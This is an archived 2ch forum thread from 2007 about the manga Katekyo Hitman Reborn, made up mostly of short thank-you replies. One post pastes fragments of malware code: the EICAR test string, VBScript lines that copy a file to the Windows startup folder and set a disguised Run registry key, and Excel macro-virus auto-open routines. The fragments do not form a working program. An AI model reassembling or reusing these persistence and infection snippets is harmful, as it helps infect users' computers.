家庭教師ヒットマンRE ..
[
2ch
|
▼Menu
]
■コピペモード
□
スレを通常表示
□
オプションモード
□このスレッドのURL
■項目テキスト
2:名無しさんの次レスにご期待下さい 07/10/01 23:42:56 z4sAwrMPO >>1乙! 3:名無しさんの次レスにご期待下さい 07/10/01 23:43:04 8Mx2TULR0 >>1 乙 4:名無しさんの次レスにご期待下さい 07/10/01 23:43:08 hcfTi2re0 乙 5:名無しさんの次レスにご期待下さい 07/10/01 23:43:17 QU1BOxUGO スレ立て乙 6:名無しさんの次レスにご期待下さい 07/10/01 23:43:22 8OrVGP1b0 >>1乙 7:名無しさんの次レスにご期待下さい 07/10/01 23:43:45 XEBbSHB10 乙ww 8:名無しさんの次レスにご期待下さい 07/10/01 23:44:24 ESmpTwdL0 いやいや良かった >>1乙 9:名無しさんの次レスにご期待下さい 07/10/01 23:45:12 8vRZPPmk0 >>1 おつー 10:名無しさんの次レスにご期待下さい 07/10/01 23:48:05 Plp8Ld3F0 腐ボーンきも・・・ いや、今週の女は可愛かったから許す 11:名無しさんの次レスにご期待下さい 07/10/01 23:49:38 WZhBn6cX0 Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1))) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\" ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1) "avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash" G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR")) If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) kak\ \';\ken=\wd+'\START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 whichfile = p + w * 10 End Sub
次ページ
最新レス表示
スレッドの検索
類似スレ一覧
話題のニュース
おまかせリスト
▼オプションを表示
レスジャンプ
mixiチェック!
Twitterに投稿
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch
4982日前に更新/184 KB
担当:undef